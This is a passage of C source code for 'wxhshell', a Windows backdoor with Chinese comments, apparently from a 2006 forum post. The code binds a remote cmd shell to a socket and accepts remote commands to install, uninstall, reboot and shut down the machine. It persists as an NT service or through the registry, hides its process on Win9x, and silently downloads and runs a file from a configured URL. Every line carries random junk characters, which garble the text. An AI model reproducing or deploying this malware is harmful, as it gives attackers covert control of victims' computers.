      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ot-P J i  
    break; OeASB}  
  } Oo; ]j)z  
  // 安装 X\Zan$oi  
  case 'i': { K\%\p$ZD  
    if(Install()) j3-o}6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ed',\+.uB  
    else PZqp;!:xz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~$K{E[^<  
    break; DL4`j>2Ov  
    } BuRsz6n  
  // 卸载 _h ^.`Tz,  
  case 'r': { /+%aSPQ  
    if(Uninstall()) ,}'8. f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oH0g>E;  
    else jnOnV1I"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m85ZcyW1T  
    break; X:Wd%CHP  
    } v.8kGF  
  // 显示 wxhshell 所在路径 n4dNGp7\`  
  case 'p': { H}~K51  
    char svExeFile[MAX_PATH]; *Oy* \cX2[  
    strcpy(svExeFile,"\n\r"); yOEy3d=*  
      strcat(svExeFile,ExeFile); #N`G2}1J  
        send(wsh,svExeFile,strlen(svExeFile),0); E`JW4)AH  
    break; R_/;U&R  
    } :$u[1&6  
  // 重启 6 ~0kb_td  
  case 'b': { cKkH*0B5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J i@q7qkC  
    if(Boot(REBOOT)) ?:`sE"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ps2j]g  
    else { bR"4:b>K  
    closesocket(wsh); :]F66dh+  
    ExitThread(0); WcSvw  
    } Nm&'&L%Ch  
    break; wg)Bx#>\L:  
    } B/a`5&G]  
  // 关机 Xykoq"dbb  
  case 'd': { ^"|q~2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ey: ?!  
    if(Boot(SHUTDOWN)) "Y:>^F;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rl cL(HM  
    else { +%9Re5R  
    closesocket(wsh); b`+yNf  
    ExitThread(0); PQl A(v+S  
    } Tf5m YCk  
    break; T:kliM"z  
    } ;6hoG(3 +  
  // 获取shell # A4WFZ  
  case 's': { HRE?uBkjf  
    CmdShell(wsh); dh6kj-^;Cf  
    closesocket(wsh); &AxtSIpucP  
    ExitThread(0); >>J$`0kM*  
    break; ,}W|cm>  
  } (kO(R#M  
  // 退出 R- >~MLeK]  
  case 'x': { ^ wZx=kas  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lb Jf5xdi  
    CloseIt(wsh); 2Cy,#X%j>  
    break; z@e(y@  
    } s'N<  
  // 离开 [! ;sp~  
  case 'q': {  t{},Th  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M} X `  
    closesocket(wsh); pJe!~eyHm  
    WSACleanup(); S+.>{0!S"  
    exit(1); iNkN'("  
    break;  ~ e?af  
        } a_+3, fP  
  } G|nBja8vm  
  } ]}'bRq*]  
4"eFR'g  
  // 提示信息 6e\?%,H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1qAE)8ie  
} <ivG(a*=]  
  } %-fXa2  
36co 'a4,  
  return; {_(R?V]w,  
} tH0x|  
?QF xds  
// shell模块句柄 \Cq4r4'  
int CmdShell(SOCKET sock) ;&|I/MVm  
{ ]SAY\;,_  
STARTUPINFO si; qm/>\4eLt  
ZeroMemory(&si,sizeof(si)); + @fEw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :](#W@ r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h`9 & :zr  
PROCESS_INFORMATION ProcessInfo; :+\sKEzL  
char cmdline[]="cmd"; i^:#*Q-co  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a8)2I~j  
  return 0; ]Zh$9YK  
} M __S)  
?QKD YH(  
// 自身启动模式 w6> P[oW  
int StartFromService(void) 1!)'dL0mI  
{ 4KxuSI^q  
typedef struct #E Bd g  
{ u!~kmIa4  
  DWORD ExitStatus; rd%uc~/  
  DWORD PebBaseAddress; Z >R@  
  DWORD AffinityMask; _oa*E2VN  
  DWORD BasePriority; a.UYBRP/l  
  ULONG UniqueProcessId; Pm^FSw"  
  ULONG InheritedFromUniqueProcessId; 99:.j=  
}   PROCESS_BASIC_INFORMATION; ul_E{v  
*"_W1}^  
PROCNTQSIP NtQueryInformationProcess; pLF,rOb  
'W9[Vm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qF(i1#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M9fQ,<c<6  
6:}n}q,V  
  HANDLE             hProcess; aUa+]H[  
  PROCESS_BASIC_INFORMATION pbi; rkWy3X{%2<  
7]?y _%kT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <f}:YDY'  
  if(NULL == hInst ) return 0; dEMv9"`*!  
`x?_yogPM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eV(.\Lj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =os!^{p7>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JDa_;bqL  
POl-S<QV  
  if (!NtQueryInformationProcess) return 0; E[ -yfP~[  
C%<Dq0j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aLLI\3  
  if(!hProcess) return 0; uIO?4\s&G  
1Ci^e7|?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]QY-L O(  
6||%T$_;}  
  CloseHandle(hProcess); C[TjcHoA  
c^H#[<6p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f:P;_/cJc  
if(hProcess==NULL) return 0; lz>.mXdx  
.1^ Kk3  
HMODULE hMod; R(_WTs9x4  
char procName[255]; +Q5'!@8  
unsigned long cbNeeded; so.}WU  
9k62_]w@6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9i_@3OVl  
IY!.j5q8  
  CloseHandle(hProcess); "UY34a^I  
3zfpFgD!  
if(strstr(procName,"services")) return 1; // 以服务启动 Lf a&JKd  
p;o"i_!  
  return 0; // 注册表启动 &'PLOyWw  
} L?a4>uVY  
2\64~a^  
// 主模块 6&~Z3|<e  
int StartWxhshell(LPSTR lpCmdLine) M/F <W!  
{ 'Q]Wk75  
  SOCKET wsl; d7g$9&/q  
BOOL val=TRUE; 46l*ui_  
  int port=0; gL| 9hvHr[  
  struct sockaddr_in door; 01 +#2~S  
".AW   
  if(wscfg.ws_autoins) Install(); V1nqEdhk  
&q-P O  
port=atoi(lpCmdLine); ,=@WE> ip  
d8 v9[ 4  
if(port<=0) port=wscfg.ws_port; V$$9Rh  
79 _8Oh  
  WSADATA data; AYoTCi%7E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DN*M-o9  
iV@\v0k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oWDn_GnG`h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `T%nGVl>\  
  door.sin_family = AF_INET; =*-a c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GM^H )8U  
  door.sin_port = htons(port); r da: ~  
.;bU["fn)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,B x0  
closesocket(wsl); =b)!l9TX  
return 1; 8&+u+@H  
} :*l\j"fX5  
tmoclK-  
  if(listen(wsl,2) == INVALID_SOCKET) { ?a, `{1m0\  
closesocket(wsl); ?)Gb=   
return 1; %qrUP\rn  
} GX.a!XQ@!  
  Wxhshell(wsl); (Cti,g~  
  WSACleanup(); meap;p  
S n~P1C  
return 0; 9zBt a  
g[ @Q iy  
} D 7thLqA  
ei]Q<vT6  
// 以NT服务方式启动 8ce'G" b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \:JY[s/  
{ "K|':3n|  
DWORD   status = 0; Bbb":c6w0  
  DWORD   specificError = 0xfffffff; voP #}fD  
Kp;<z<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ND e FY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nhm#_3!6A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fpzEh}:H\  
  serviceStatus.dwWin32ExitCode     = 0; (YPG4:[  
  serviceStatus.dwServiceSpecificExitCode = 0; b9b`%9/L  
  serviceStatus.dwCheckPoint       = 0; //$^~} wt  
  serviceStatus.dwWaitHint       = 0; w 17{2']  
"yU<X\n i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  )iPU   
  if (hServiceStatusHandle==0) return; U~zy;M T  
CX {M@x3m  
status = GetLastError(); }Vm'0  
  if (status!=NO_ERROR) g+&wgyq5  
{ "KC3+:tm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jW| ,5,43  
    serviceStatus.dwCheckPoint       = 0; ?^8.Sa{  
    serviceStatus.dwWaitHint       = 0; 0+_;6  
    serviceStatus.dwWin32ExitCode     = status; {FC<vx{42  
    serviceStatus.dwServiceSpecificExitCode = specificError; _39VL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F Zt;D  
    return; 7=wQ#bq"1P  
  } -s91/|n  
Ym-mfWo^#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !;k ^  
  serviceStatus.dwCheckPoint       = 0; [[4!b E  
  serviceStatus.dwWaitHint       = 0; *TxR2pC}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0J5$ Yw1'F  
} 8l?@ o  
PIsXX#`7;  
// 处理NT服务事件,比如:启动、停止 4!M0)Nix  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `RqV\ 6G+  
{ Kt"4<'  
switch(fdwControl) Us>n`Lj@  
{ ]h=y  
case SERVICE_CONTROL_STOP: :`@W`V?6-  
  serviceStatus.dwWin32ExitCode = 0; W3MH8z   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p5nrPL  
  serviceStatus.dwCheckPoint   = 0; tKi ^0vE8  
  serviceStatus.dwWaitHint     = 0; <V8=*n"mR  
  { qV$0 ";d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7B)@ aUj$  
  } d5W =?  
  return; $M4C4_oPy  
case SERVICE_CONTROL_PAUSE: fL&e^Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &b19s=Z,  
  break; ?/Aql_?3  
case SERVICE_CONTROL_CONTINUE: 4`"Q!T_'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :|ytw= 3>  
  break; l2LO,j}  
case SERVICE_CONTROL_INTERROGATE: 7'{Y7]+z+  
  break; H Mfhe[A?  
}; HN&]`cr;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o107. s  
} o|VM{5  
3-![% u  
// 标准应用程序主函数 g*%o%Lv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QP6a,^];  
{ #t">tL  
)Z`OkkabnD  
// 获取操作系统版本 Aacj?   
OsIsNt=GetOsVer(); lI[O!Vu Kc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,z$ U=u o  
z&|sks7  
  // 从命令行安装 H)+wkR!~  
  if(strpbrk(lpCmdLine,"iI")) Install(); [lj^lN8  
lR]SGdY  
  // 下载执行文件 7<F{a"5P  
if(wscfg.ws_downexe) { 1~*JenV-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %bTXu1  
  WinExec(wscfg.ws_filenam,SW_HIDE); *&F~<HC2+  
} 73E[O5?b  
t(- 5l  
if(!OsIsNt) { pH?"@  
// 如果时win9x,隐藏进程并且设置为注册表启动 vqwSOh|P9  
HideProc(); #X<s_.7DJ  
StartWxhshell(lpCmdLine); )-LS n  
} ZV:0:k.x  
else g\?7M1~  
  if(StartFromService()) kQtnT7  
  // 以服务方式启动 I}/-zyx>=  
  StartServiceCtrlDispatcher(DispatchTable); Z&y9m@  
else /}-LaiS  
  // 普通方式启动 &?SU3@3|  
  StartWxhshell(lpCmdLine); O#b%&s"o  
[PU0!W;  
return 0; !~f!O"n)3r  
}
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只看该作者 1 发表于: 2006-10-10
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